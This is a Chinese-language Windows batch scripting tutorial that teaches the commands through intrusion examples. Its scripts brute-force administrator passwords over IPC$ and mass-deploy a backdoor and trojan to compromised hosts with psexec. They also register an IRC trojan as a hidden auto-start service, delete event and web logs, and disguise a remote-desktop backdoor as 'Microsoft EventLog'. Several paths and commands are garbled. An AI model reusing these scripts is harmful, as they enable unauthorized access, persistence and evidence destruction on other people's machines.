    %word:~%num:~3,1%,1% 经测试这种写法不能正确执行,写成%word:~(%num:~3,1%),1%同样不行,那么,怎么实现这种变量嵌套呢?这就必须结合命令嵌套。

    什么是命令嵌套呢?简单的说,首先用一条dos命令生成一个字符串,而这个字符串是另一条dos命令,用call语句调用字符串将其执行,从而得到最终结果。

    例:用call语句实现命令嵌套

    @echo off
    set str1=aaa echo ok bbb
    echo 初始字符串:%str1%
    echo 生成命令字符串如下:
    echo %str1:~4,7%
    echo 运行命令字符串生成最终结果为:
    call %str1:~4,7%
    pause

    运行显示:
    初始字符串:aaa echo ok bbb
    生成命令字符串如下:
    echo ok
    运行命令字符串生成最终结果为:
    ok
    请按任意键继续. . .

    展开全文
  • windows批处理命令

    2020-05-09 08:46:10
    windows批处理命令教程一.简单批处理内部命令简介1.echo 命令2.@ 命令3.goto 命令4.Rem 命令5.Pause 命令6.Call 命令7.start 命令8.choice 命令9.If 命令10.for 命令二.如何在批处理文件中使用参数三.如何使用组合...

    一.简单批处理内部命令简介

    1.echo 命令

    打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
    语法

    echo [{on|off}] [message]
    Sample:

    @echo off / echo hello world
    

    在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

    2.@ 命令

    表示不显示@后面的命令,只对当前行起作用

    3.goto 命令

    指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
    语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
    Sample:

    if {%1}=={} goto noparms
    if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
    @Rem check parameters if null show usage
    :noparms
    echo Usage: monitor.bat ServerIP PortNumber
    goto end
    

    标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

    4.Rem 命令

    注释命令,在C语言中相当与/--------/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
    Rem Message
    Sample:

    @Rem Here is the descr1ption.
    

    5.Pause 命令

    运行 Pause 命令时,将显示下面的消息:
    Press any key to continue . . .
    Sample:

    @echo off
    :begin
    copy a:*.* d:back
    echo Please put a new disk into driver A
    pause
    goto begin
    

    在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘

    6.Call 命令

    从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
    语法
    call [Drive:][Path] FileName [BatchParameters] [:label [arguments]
    参数
    [Drive:}[Path] FileName
    指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

    7.start 命令

    调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
    入侵常用参数:
    MIN 开始时窗口最小化
    SEPARATE 在分开的空间内开始 16 位 Windows 程序
    HIGH 在 HIGH 优先级类别开始应用程序
    REALTIME 在 REALTIME 优先级类别开始应用程序
    WAIT 启动应用程序并等候它结束
    parameters 这些为传送到命令/程序的参数
    执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

    8.choice 命令

    choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
    如: choice /c yn /m “press y for yes or n for no”
    将显示
    “press y for yes or n for no”
    Sample:
    Sample.bat的内容如下:

    @echo off
    choice /c yn /m "press y for yes or n for no"
    
    if errorlevel 2 goto no
    if errotlevel 1 goto yes
    :yes
    echo you pressed y
    :no
    echo you pressed n
    pause>nul
    
    

    9.If 命令

    if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
    1、if “参数” = = “字符串”  待执行的命令
    参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

    if "%1"=="a" format a:
    if {%1}=={} goto noparms
    if {%2}=={} goto noparms
    

    2、if exist 文件名  待执行的命令
    如果有指定的文件,则条件成立,运行命令,否则运行下一句。

    if exist config.sys edit config.sys
    

    3、if errorlevel / if not errorlevel 数字  待执行的命令
    如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
    如if errorlevel 2 goto x2  
    DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

    10.for 命令

    for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

    for {%%variable} in (set) do command [ CommandLineOptions]
    %variable 指定一个单一字母可替换的参数。
    (set) 指定一个或一组文件。可以使用通配符。
    command 指定对每个文件执行的命令。
    command-parameters 为特定命令指定参数或命令行开关。
    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

    如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:

    FOR /D %variable IN (set) DO command [command-parameters]

    如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

    FOR /R [drive:]path] %variable IN (set) DO command [command-

    检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。

    FOR /L %variable IN (start,step,end) DO command [command-para

    该集表示以增量形式从开始到结束的一个数字序列。
    因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
    序列 (5 4 3 2 1)。

    FOR /F [“options”] %variable IN (file-set) DO command
    FOR /F [“options”] %variable IN (“string”) DO command
    FOR /F [“options”] %variable IN (’‘command’’) DO command

    或者,如果有 usebackq 选项:

    FOR /F [“options”] %variable IN (file-set) DO command
    FOR /F [“options”] %variable IN (“string”) DO command
    FOR /F [“options”] %variable IN (’‘command’’) DO command

    filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符 号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:

    eol=c - 指一个行注释字符的结尾(就一个)
    skip=n - 指在文件开始时忽略的行数。
    delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
    tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
    usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。

    sample:
    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。

    %i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 ‘‘z’’ 或’‘Z’’ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。

    您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。

    最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:

    FOR /F “usebackq delims==” %i IN (set) DO @echo %i

    会枚举当前环境中的环境变量名称。

    另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:

    ~I - 删除任何引号("),扩充 %I
    %~fI - 将 %I 扩充到一个完全合格的路径名
    %~dI - 仅将 %I 扩充到一个驱动器号
    %~pI - 仅将 %I 扩充到一个路径
    %~nI - 仅将 %I 扩充到一个文件名
    %~xI - 仅将 %I 扩充到一个文件扩展名
    %~sI - 扩充的路径只含有短名
    %~aI - 将 %I 扩充到文件的文件属性
    %~tI - 将 %I 扩充到文件的日期/时间
    %~zI - 将 %I 扩充到文件的大小
    %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串

    可以组合修饰符来得到多重结果:

    %~dpI - 仅将 %I 扩充到一个驱动器号和路径
    %~nxI - 仅将 %I 扩充到一个文件名和扩展名
    %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
    %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
    %~ftzaI - 将 %I 扩充到类似输出线路的 DIR

    在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。

    以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

    sample2:

    利用For命令来实现对一台目标Win2k主机的暴力密码破解。
    我们用net use /ipipc$ “password” /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
    最主要的命令是一条:for /f i% in (dict.txt) do net use /ipipc$ “i%” /u:“administrator”
    用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令

    for /f i%% in (dict.txt) do net use /ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt 
    

    这样就OK了。

    sample3:

    你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

    主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)

    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k 
    

    tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
    而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
    delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
    代码main.bat:

    @echo off
    @if "%1"=="" goto usage
    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
    @goto end
    :usage
    @echo run this batch in dos modle.or just double-click it.
    :end
    

    door.bat 代码

    @net use /%1ipc$ %3 /u:"%2"
    @if errorlevel 1 goto failed
    @echo Trying to establish the IPC$ connection …………OK
    @copy windrv32.exe/%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
    @psexec /%1 c:winntsystem32windrv32.exe
    @psexec /%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
    :failed
    @echo Sorry can not connected to the victim.
    

    这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
    尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

    二.如何在批处理文件中使用参数

    批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
    sample1:fomat.bat

    @echo off
    if "%1"=="a" format a:
    :format
    @format a:/q/u/auotset
    @echo please insert another disk to driver A.
    @pause
    @goto fomat
    

    这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~_
    sample2:
    当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。

    @echo off
    @net use /1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
    @if errorlevel 1 echo connection failed
    

    怎么样,使用参数还是比较简单的吧?你这么帅一定学会了_.

    三.如何使用组合命令(Compound Command)

    1.&

    Usage:第一条命令 & 第二条命令 [& 第三条命令…]

    用这种方法可以同时执行多条命令,而不管命令是否执行成功

    Sample:

    C:>dir z: & dir c:Ex4rch
    The system cannot find the path specified.
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB
    
    Directory of c:Ex4rch
    
    2002-05-14 23:51 <DIR> .
    2002-05-14 23:51 <DIR> ..
    2002-05-14 23:51 14 sometips.gif
    

    2.&&

    Usage:第一条命令 && 第二条命令 [&& 第三条命令…]

    用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

    Sample:

    C:>dir z: && dir c:Ex4rch
    The system cannot find the path specified.
    
    C:>dir c:Ex4rch && dir z:
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB
    
    Directory of c:Ex4rch
    
    2002-05-14 23:55 <DIR> .
    2002-05-14 23:55 <DIR> ..
    2002-05-14 23:55 14 sometips.gif
    1 File(s) 14 bytes
    2 Dir(s) 768,671,744 bytes free
    The system cannot find the path specified.
    

    在做备份的时候可能会用到这种命令会比较简单,如:

    dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
    

    如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

    3.||

    Usage:第一条命令 || 第二条命令 [|| 第三条命令…]

    用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

    Sample:

    C:Ex4rch>dir sometips.gif || del sometips.gif
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB
    
    Directory of C:Ex4rch
    
    2002-05-14 23:55 14 sometips.gif
    1 File(s) 14 bytes
    0 Dir(s) 768,696,320 bytes free
    

    组合命令使用的例子:
    sample:

    @copy trojan.exe /%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
    

    四、管道命令的使用

    1.| 命令

    Usage:第一条命令 | 第二条命令 [| 第三条命令…]
    将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

    sample:

    time /t>>D:IP.log
    netstat -n -p tcp|find ":3389">>D:IP.log
    start Explorer
    

    看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

    2.>、>>输出重定向命令

    将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

    sample1:

    echo hello world>c:hello.txt (stupid example?)
    

    sample2:
    时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
    运行CMD–转换目录到system32

    dir *.exe>exeback.txt & dir *.dll>dllback.txt
    

    这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
    日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
    这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:

    fc exeback.txt exeback1.txt>diff.txt 
    & fc dllback.txt dllback1.txt>diff.txt
    

    用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能 发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如 果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

    3.< 、>& 、<&

    .< 从文件中而不是从键盘中读入命令输入。
    .>& 将一个句柄的输出写入到另一个句柄的输入中。
    .<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
    这些并不常用,也就不多做介绍。

    五.如何用批处理文件来操作注册表

    在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后 门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操 作注册表.(我们可以用批处理来生成一个REG文件)
    关于注册表的操作,常见的是创建、修改、删除。

    1.创建

    创建分为两种,一种是创建子项(Subkey)

    我们创建一个文件,内容如下:

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

    然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。

    另一种是创建一个项目名称
    那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
    “Invader”=“Ex4rch”
    “Door”=C:/WINNT/system32/door.exe
    “Autodos”=dword:02

    这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
    新建了:Invader、door、about这三个项目
    Invader的类型是“String Value”
    door的类型是“REG SZ Value”
    Autodos的类型是“DWORD Value”

    2.修改

    修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

    3.删除

    我们首先来说说删除一个项目名称,我们创建一个如下的文件:

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
    “Ex4rch”=-

    执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了;

    我们再看看删除一个子项,我们创建一个如下的脚本:

    Windows Registry Editor Version 5.00

    [-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

    执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。

    相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

    samlpe1:如上面的那个例子,如想生成如下注册表文件
    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
    “Invader”=“Ex4rch”
    “door”=hex:255
    “Autodos”=dword:000000128
    只需要这样:

    @echo Windows Registry Editor Version 5.00>>Sample.reg
    
    @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
    @echo "Invader"="Ex4rch">>Sample.reg
    @echo "door"=5>>C:/WINNT/system32/door.exe>>Sample.reg
    @echo "Autodos"=dword:02>>Sample.reg
    

    samlpe2:
    我们现在在使用一些比较老的木马时,可能会在注册表的 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、 Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将 木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

    @start windrv32.exe
    @attrib +h +r windrv32.exe
    @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
    @echo "windsnx "=- >>patch.dll
    @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
    @regedit /s patch.dll
    @delete patch.dll
    
    @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
    @REM 这样不是更安全^_^.
    

    六.精彩实例放送

    1.删除win2k/xp系统默认共享的批处理

    
    @echo preparing to delete all the default shares.when ready pres any key.
    @pause
    @echo off
    
    :Rem check parameters if null show usage.
    if {%1}=={} goto :Usage
    
    :Rem code start.
    echo.
    echo ------------------------------------------------------
    echo.
    echo Now deleting all the default shares.
    echo.
    net share %1$ /delete
    net share %2$ /delete
    net share %3$ /delete
    net share %4$ /delete
    net share %5$ /delete
    net share %6$ /delete
    net share %7$ /delete
    net share %8$ /delete
    net share %9$ /delete
    net stop Server
    net start Server
    echo.
    echo All the shares have been deleteed
    echo.
    echo ------------------------------------------------------
    echo.
    echo Now modify the registry to change the system default properties.
    echo.
    echo Now creating the registry file
    echo Windows Registry Editor Version 5.00> c:delshare.reg
    echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
    echo "AutoShareWks"=dword:00000000>> c:delshare.reg
    echo "AutoShareServer"=dword:00000000>> c:delshare.reg
    echo Nowing using the registry file to chang the system default properties.
    regedit /s c:delshare.reg
    echo Deleting the temprotarily files.
    del c:delshare.reg
    goto :END
    
    :Usage
    echo.
    echo ------------------------------------------------------
    echo.
    echo ☆ A example for batch fileecho[Use batch file to change the sysytem share properties.] ☆
    echo.
    echo Author:Ex4rch
    echo Mail:Ex4rch@hotmail.com QQ:1672602
    echo.
    echo Error:Not enough parameters
    echo.
    echo ☆ Please enter the share disk you wanna delete ☆
    echo.
    echo For instance,to delete the default shares:
    echo delshare c d e ipc admin print
    echo.
    echo If the disklable is not as C: D: E: ,Please chang it youself.
    echo.
    echo example:
    echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
    echo delshare c d e x y z ipc admin print
    echo.
    echo *** you can delete nine shares once in a useing ***
    echo.
    echo ------------------------------------------------------
    goto :EOF
    
    :END
    echo.
    echo ------------------------------------------------------
    echo.
    echo OK,delshare.bat has deleted all the share you assigned.
    echo.Any questions ,feel free to mail toEx4rch@hotmail.com.
    echo
    echo.
    echo ------------------------------------------------------
    echo.
    
    :EOF
    echo end of the batch file
    
    

    2.全面加固系统(给肉鸡打补丁)的批处理文件

    
    @echo Windows Registry Editor Version 5.00 >patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll
    
    @echo "AutoShareServer"=dword:00000000 >>patch.dll
    @echo "AutoShareWks"=dword:00000000 >>patch.dll
    @REM [禁止共享]
    
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
    @echo "restrictanonymous"=dword:00000001 >>patch.dll
    @REM [禁止匿名登录]
    
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
    @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
    @REM [禁止及文件访问和打印共享]
    
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
    @echo "Start"=dword:00000004 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
    @echo "Start"=dword:00000004 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll
    @echo "ShutdownWithoutLogon"="0" >>patch.dll
    @REM [禁止登录前关机]
    
    @echo "DontDisplayLastUserName"="1" >>patch.dll
    @REM [禁止显示前一个登录用户名称]
    @regedit /s patch.dll
    
    

    下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。

    @regedit /s patch.dll
    @net stop w3svc
    @net stop event log
    @del c:winntsystem32logfilesw3svc1*.* /f /q
    @del c:winntsystem32logfilesw3svc2*.* /f /q
    @del c:winntsystem32config*.event /f /q
    @del c:winntsystem32dtclog*.* /f /q
    @del c:winnt*.txt /f /q
    @del c:winnt*.log /f /q
    @net start w3svc
    @net start event log
    @rem [删除日志]
    
    
    @net stop lanmanserver /y
    @net stop Schedule /y
    @net stop RemoteRegistry /y
    @del patch.dll
    @echo The server has been patched,Have fun.
    @del patch.bat
    @REM [禁止一些危险的服务。]
    
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
    @echo "PortNumber"=dword:00002010 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll
    @echo "PortNumber"=dword:00002012 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
    @echo "Start"=dword:00000002 >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
    @echo "Start"=dword:00000002 >>patch.dll
    @echo "ErrorControl"=dword:00000001 >>patch.dll
    @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
    @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
    @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
    @echo "ObjectName"="LocalSystem" >>patch.dll
    @echo "Type"=dword:00000010 >>patch.dll
    @echo "Descr1ption"="Keep record of the program and windows'' message。" >>patch.dll
    @echo "DisplayName"="Microsoft EventLog" >>patch.dll
    @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll
    @echo "Start"=dword:00000004 >>patch.dll
    @copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
    @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
    
    rem Author: Munga Bunga - from Australia, the land full of retarded Australian''s (help me get out of here)
    

    例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

    批处理文件的内容为:         命令注释:

    @echo off           不显示后续命令行及当前命令行
        dir c:*.* >a.txt       将c盘文件列表写入a.txt
        call c:\ucdos\ucdos.bat    调用ucdos
        echo 你好            显示"你好"
        pause              暂停,等待按键继续
        rem 准备运行wps         注释:准备运行wps
        cd ucdos            进入ucdos目录
        wps               运行wps

    批处理文件的参数

    批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。

    %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

    例2:C:根目录下有一批处理文件名为f.bat,内容为:
    @echo off
    format %1

    如果执行C:>f a:
    那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

    例3:C:根目录下一批处理文件名为t.bat,内容为:
    @echo off
    type %1
    type %2

    那么运行C:>t a.txt b.txt
    %1 : 表示a.txt
    %2 : 表示b.txt
    于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

    特殊命令

    if goto choice for是批处理文件中比较高级的命令。

    if

    是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

    if [not] “参数” == “字符串” 待执行的命令

    参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

    例:if “%1”==“a” format a:

    if [not] exist [路径]文件名 待执行的命令
    如果有指定的文件,则条件成立,运行命令,否则运行下一句。

    如: if exist c:\config.sys type c:\config.sys
    表示如果存在c:\config.sys文件,则显示它的内容。

    if errorlevel <数字> 待执行的命令

    很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

    如if errorlevel 2 goto x2

    goto

    批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

    如:

    goto end

    :end
    echo this is the end

    标号用“:字符串”来定义,标号所在行不被执行。

    choice

    使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。

    注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

    choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

    CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

    描述:
    该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

    参数列表:
    /C choices 指定要创建的选项列表。默认列表是 “YN”。

    /N 在提示符中隐藏选项列表。提示前面的消息得到显示,
    选项依旧处于启用状态。

    /CS 允许选择分大小写的选项。在默认情况下,这个工具
    是不分大小写的。

    /T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0
